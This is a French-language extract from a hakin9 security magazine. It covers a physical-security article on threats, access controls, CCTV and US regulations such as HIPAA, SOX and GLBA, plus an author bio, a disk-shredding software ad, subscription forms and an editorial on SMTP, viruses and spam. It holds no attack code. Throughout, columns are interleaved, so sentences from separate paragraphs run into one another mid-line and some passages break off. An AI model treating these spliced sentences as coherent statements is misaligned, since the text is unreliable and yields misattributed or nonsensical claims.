Quelques minutes plus tard, on peut entendre un senter certains problèmes liés à la sécurité
véhicule qui s'éloigne rapidement. Le lendemain physique et la façon de minimiser les mena-
matin, la première personne entrant dans l'im- ces internes grâce à l'installation de contrôles
meuble signale à la police une fenêtre cassée. d'accès. Seront uniquement évoquées ici les
Quelques heures plus tard, les inspecteurs cons-
tatent que rien n'a été volé et classent l'incident
dans la catégorie du vandalisme aléatoire. Cet article explique...
Deux mois après l'incident, le PDG, hors de
• la plupart des menaces communes visant la
lui, réunit en urgence ses collaborateurs après
sécurité des entreprises,
avoir pris connaissance, dans un magazine
• la façon de protéger votre organisation ainsi
commercial, d'informations aux conséquences que vos données contre les menaces physi-
dévastatrices pour sa société. La concurrence ques,
vient de lancer sur le marché un produit identi- • la façon d'élaborer une politique de sécurité
que à celui que sa société a développé à coût physique.
Défense
procédures d'entreprises. Toutefois, Il nous faut tout d'abord définir les personnes offrant leur propre
toute suggestion est digne d'intérêt, la nature des différentes menaces assurance.
tant pour les entreprises commercia- physiques existantes : • La loi SOX représente la Loi
les que pour les individus. américaine Oxley-Sarbannes de
Les contrôles d'accès, il est utile • menaces émanant des individus 2002 ; il s'agit d'une réponse lé-
de s'en souvenir, se déclinent en – pertes, grèves, maladies etc., gislative à l'encontre du scandale
trois branches : physiques, adminis- • sabotage et vandalisme, comptable provoqué par la faillite
tratives et techniques. • pannes matérielles, récente de sociétés ouvertes
• catastrophes naturelles – tor- cotées en Bourse. La loi SOX
Les contrôles d'accès nades, tremblements de terre, exige une certaine conformité
physiques inondations etc., ainsi qu'une réforme complète
Selon le site Web du Ministère de • catastrophes induites par l'hom- et détaillée des procédures
l'Énergie des États-Unis, « Par me – terrorisme, incendies volon- comptables à l'encontre des
sécurité physique, on entend tout taires, explosions, sociétés dites ouvertes (faisant
d'abord la protection physique des • pertes liées aux installations appel public à l'épargne) afin de
informations sensibles et protégées, électriques, systèmes de chauf- diffuser et d'améliorer la qua-
du personnel, des installations, ou fage, de ventilation et de clima- lité ainsi que la transparence des
de tout autre matériel sensible, des tisation, inondations. rapports financiers tenus par des
ressources, ou l'ensemble des pro- auditeurs indépendants à la fois
cessus visant à se défendre contre Une fois ces menaces bien en tête, internes et externes à la société.
les activités d'espionnage criminel- il devient possible d'évaluer la meilleu- • La loi GLBA représente la Loi
les, terroristes, ou hostiles ». re protection des actifs. Par exemple : américaine Gramm-Leach-Bliley
dans le cas d'une perte de courant, de 1999 ; La Loi relative à la
vous pouvez vous doter d'un géné- Modernisation des Finances de
À propos de l'auteur rateur de rechange afin de garantir 1999, également connue sous
Fort de plus de 10 ans d'expérience la bonne exécution des systèmes cri- le nom de Loi Gramm-Leach-
dans le secteur des Technologies de
tiques, l'éclairage pour les employés, Bliley ou Loi GLB, comprend des
l'Information (références : CISSP, IS-
ainsi que la disponibilité du système dispositions visant à protéger
SMP, ISSAP, CHS-III, CEI, CEH, CC-
NA, Network+, A+), Jeremy Martin est
de téléphone numérique. Dans le cas les informations financières per-
aujourd'hui directeur de la communica- d'une panne de matériel, il est fort pro- sonnelles des consommateurs
tion pour la société PLUSS SA. Il est bable que vous souhaitiez épargner détenues par les institutions
également membre de diverses organi- les pièces disponibles ou souscrire financières. Il existe trois parties
sations dont l'ACFEI (American College à un contrat de maintenance avec un principales qui énoncent les exi-
of Forensic Examiners International, ou fournisseur pour un remplacement im- gences liées au respect de la vie
École Internationale Américaine des médiat. Il vous faut également garder privée : la Financial Privacy Rule
Examinateurs Médico-Légaux), la à l'esprit la réglementation relative (soit la Règle sur les Données Fi-
BECCA (Business Espionage Controls à votre secteur d'activité ou les lois nancières Privées, en français),
and Countermeasures Association, ou
territoriales qui vous assurent une Safeguards Rule (soit la Règle
Association des Contre-mesures et
certaine couverture tout en exigeant relative à la Sauvegarde, en
Contrôles de l'Espionnage Industriel),
(ISC)² – de l'International Information
certaines mises en conformité. Voici français) et Pretexting Provisions
Systems Security Certification Con- les réglementations les plus connues (des dispositions annexes).
sortium, ou Consortium International dans le secteur relatif à la sécurité des
de Certification pour la Sécurité des Technologies de l'Information (voir Les contrôles physiques ne sont que
Systèmes d'Information, de l'ISACA également l'Encadré Sur le réseau) : des mécanismes conçus dans le but
(Information Systems Audit and Con- de minimiser le risque d'une menace.
trol Association, ou Association pour • La loi HIPAA représente l'arti- L'installation d'un verrou sur une porte
le Contrôle et l'Audit des Systèmes cle 104-191 du droit public des suffit à décourager un voleur potentiel.
d'Information), de l'ISSA (Information États-Unis : Health Insurance L'étape suivante consisterait à ajouter
Systems Security Association, ou
Portability and Accountability un verrou biométrique tel qu'un nu-
Association pour la Sécurité des Sys-
Act of 1996 (soit la Loi relative mériseur d'empreintes de manière
tèmes d'Information), du YEN NTEA
(Young Executives Network, ou Réseau
à la Responsabilité et au Trans- à rendre l'accès à une zone sécurisée
des Jeunes Cadres Dirigeants) et enfin fert de l'Assurance Maladie, en plus difficile pour un intrus déterminé.
du OISSG (Open Information Systems français). Cette loi couvre les Ce temps supplémentaire est parfois
Security Group, ou Groupe pour la organisations qui dispensent des suffisant aux autorités pour éliminer
Sécurité des Systèmes d'Information soins médicaux telles que les une menace. Les portes ne sont pas
Ouverts). hôpitaux, les cliniques, les com- les seuls éléments susceptibles d'être
pagnies d'assurance, et même verrouillés. Les ordinateurs portables,
tallant des matériaux spéciaux au çais), déclare que les zones critiques informations pertinentes afin d'éva-
sein des locaux lors de la construc- devraient être éclairées à 2,5 mètres luer le risque potentiel pour la société
tion de l'espace protégé et/ou des de haut au moyen de deux lampes. que pourrait représenter la personne
boîtiers spéciaux destinés à abriter en question. Une fois la personne
les systèmes informatiques. Les contrôles d'accès intégrée à la société, celle-ci devrait
administratifs progresser en suivant un ensemble
La protection des locaux Considérons maintenant les person- d'examens prédéfinis afin de mainte-
L'installation d'un sas ou d'un jeu de nes en qui vous placez votre con- nir une conformité des deux parties,
double portes à l'entrée de vos locaux fiance. Qu'en est-il des employés ? en effectuant une rotation des pos-
tes pour bénéficier d'une formation après avoir remis l'ensemble des ou Télévision en Circuit Fermé, en
mutuelle, et en séparant ses tâches biens de la société qui lui a été confié. français), la gestion des pannes de
afin de réduire les activités potentiel- Le sabotage émanant d'un employé matériel, les dispositifs de rechange
lement immorales ou les accidents. mécontent peut généralement être et l'alimentation électrique. Si un
Cette combinaison de processus évité au moyen de contrôles d'accès système CCTV avait été installé dans
destinée aux employés actuels per- et de personnel. le scénario évoqué au début du pré-
met de maintenir un contrôle sur eux sent article, l'intrus aurait été identifié
et la société peut ainsi mettre en œu- Les contrôles d'accès d'après les enregistrements et aurait
vre toute sa réactivité face aux pro- techniques pu être intercepté. Certains systèmes
grès et aux projets réalisés. Lorsqu'un Ces contrôles couvrent, parmi CCTV sont même dotés de capacités
employé quitte la société, il doit être d'autres sujets, les systèmes dits d'alarmes capables de se déclencher
escorté jusqu'à la sortie des locaux CCTV (pour Closed Circuit Television lorsqu'un mouvement ou de la chaleur
h9.DiskShredder
LE PROGRAMME CONÇU POUR L’EFFACEMENT SÛR DES DONNÉES DES DISQUES DURS
maintenance des politiques, des des chiffres réalistes et vérifiables menaces existantes. Et il est encore
procédures et des contrôles est ainsi que par des points sensibles sur plus important de s'assurer que les
considérée comme relevant du Due la vulnérabilité capables de soulager preneurs de décision soient au cou-
Diligence, ou Diligence Raisonnable. les inquiétudes tout en vendant son rant des contrôles d'une part, et que
La combinaison des deux aspects plan. Une fois la politique accordée, les utilisateurs soient conscients de
Due Care et Due Diligence affectera il faut commencer par familiariser les leur responsabilité d'autre part, ce
la responsabilité possible ou les res- cadres supérieurs avec la technologie afin de maintenir le plan de sécurité
ponsabilités décroissantes pouvant mise en œuvre dans l'installation de la conforme aux réglementations en
être mises en cause lorsqu'une dite politique. vigueur. n
+
Abonnez-vous !
en abonnement coûte
38 €
moins cher
Commande
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier : Software-Wydawnic-
two Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected]
Adresse ...........................................................................................................................................................................................................
¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183 90
Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré.
Nous vous garantissons :
• des tarifs préférentiels,
• un paiement en ligne sécurisé,
• la prise en compte rapide de votre commande.
Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !
bulletin d’abonnement
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier :
Software-Wydawnictwo Sp. z o. o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; E-mail : [email protected]
Adresse .................................................................................................................................................................................................................................
Nombre de Nombre
Titre
À partir du
numéros d’abonne- Prix
numéro
annuels ments
Linux+DVD (2 DVDs) 12 86 €
Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs
Collection Linux+ Distributions (4-7 CDs)
Distributions Linux les plus 6 50 €
populaires (de 4 à 7 CDs joints au chaque magazine)
.PSD (2 CDs) 6 39 €
Bimestriel pour les utilisateurs d’Adobe Photoshop
Je règle par :
¨ Carte bancaire n° CB expire le date et signature obligatoires
type de carte ..........................................................................
¨ Virement bancaire :
Nom banque : Société Générale Chasse/Rhône
banque guichet numéro de compte clé Rib
30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
Feuilleton
Tomasz Nidecki
Empreinte du passé
D
e vieux dinosaures d'internet évoquent avec Ces idées sont déjà véhiculées depuis quelques années
nostalgie le bon vieux temps. Un internet réservé (ne serait-ce que le concept IM2000, conçu par Daniel
qu'aux élus, accessible seulement dans les J. Bernstein – http://www.im2000.org/) mais elles ne se
milieux universitaires et scientifiques. Un internet smart, voient pas réaliser.
BCBG, et avant tout, hautement sécurisé. Une sécurité Évidemment, chaque idée révolutionnaire a un coût.
qui n'est aujourd'hui qu'illusoire et fait rêver. Un changement radical du réseau de messagerie électro-
Qu'est-ce qu'ils ont été peu clairvoyants, ces pion- nique exigera du temps et demandera de gros investisse-
niers du réseau, pour avoir accordé aux internautes toute ments financiers. Ceux qui se trouvent aujourd'hui dans
leur confiance ! Il est difficile de se prononcer aujourd'hui des camps adverses, devront coopérer. Pour l'instant,
ou prendre partie, faut-il les adorer ou les haïr pour avoir des milliers de dollars sont dépensés pour arrêter le fléau
rendu les protocoles si simples, mais tellement inadaptés des virus et du spams. Néanmoins, ce n'est pas suffisant
aux dures réalités de l'internet contemporain ? Bien que pour lever les résistances, s'armer de courage et mettre
dans beaucoup de cas, on ait pu y remédier (avec des au point une solution efficace. Pourvu qu'il ne soit pas
méthodes provisoires parfois), certaines lacunes tech- trop tard car nous aurons du mal à élaborer une solution
niques et largement diffusées par le passé, ne peuvent, dans le cas où la communication via internet aurait été
à ce jour être éradiquées. entravée au point que l'on passerait la majorité de notre
Les informaticiens paniquent et restent perplexes temps à lutter contre les attaques. n
face aux problèmes qui résultent du protocole SMTP mal
défini au départ (base pour faire fonctionner l'un des deux
éléments essentiels du réseau, soit la messagerie élec-
tronique). Et que fait le monde virtuel pour y remédier ?
Il s'acharne à inventer et mettre en place des moyens de
plus en plus nouveaux, issus de bricolage, au lieu de ras-
sembler ses forces et arriver à faire évoluer la situation
pour lutter contre la vraie épidémie qui sévit auprès des
utilisateurs, celle des virus et des spams. La course entre
le bien et le mal se poursuit ; et là, pas besoin de deviner
qui emportera la victoire.
Chaque méthode provisoire de lutte contre l'omni-
présente vermine (et l'expression est gentille) se termine
par une réplique immédiate et claire de la part des forces
du mal. Les virus sont de plus en plus malins, les vers
polymorphes font partie de notre quotidien, et les vaccins
arrivent souvent trop tard, ce, quand le taux d'infection
est déjà bien diffus. La lutte contre les spams est encore
plus désespérée. L'efficacité des filtres anti-spam laisse
à désirer. Ceux parmi les meilleurs entraînent des coûts
supplémentaires, demandent aux ordinateurs plus de
capacité et volent du temps aux utilisateurs. Sans parler
de ce que cela induit.
Peut-être alors, au lieu de consacrer tout notre temps
et toute notre énergie à inventer un colmatage de plus, ne
serait-il pas plus raisonnable de changer d'approche et
revoir complètement le principe de courrier électronique ?
78
Vous trouverez les informations les plus
récentes sur le marché des logiciels
dans les
Catalogues de hakin9
Sujets des catalogues contenant des articles publicitaires pour le
magazine hakin9 :
N° Sujets du catalogue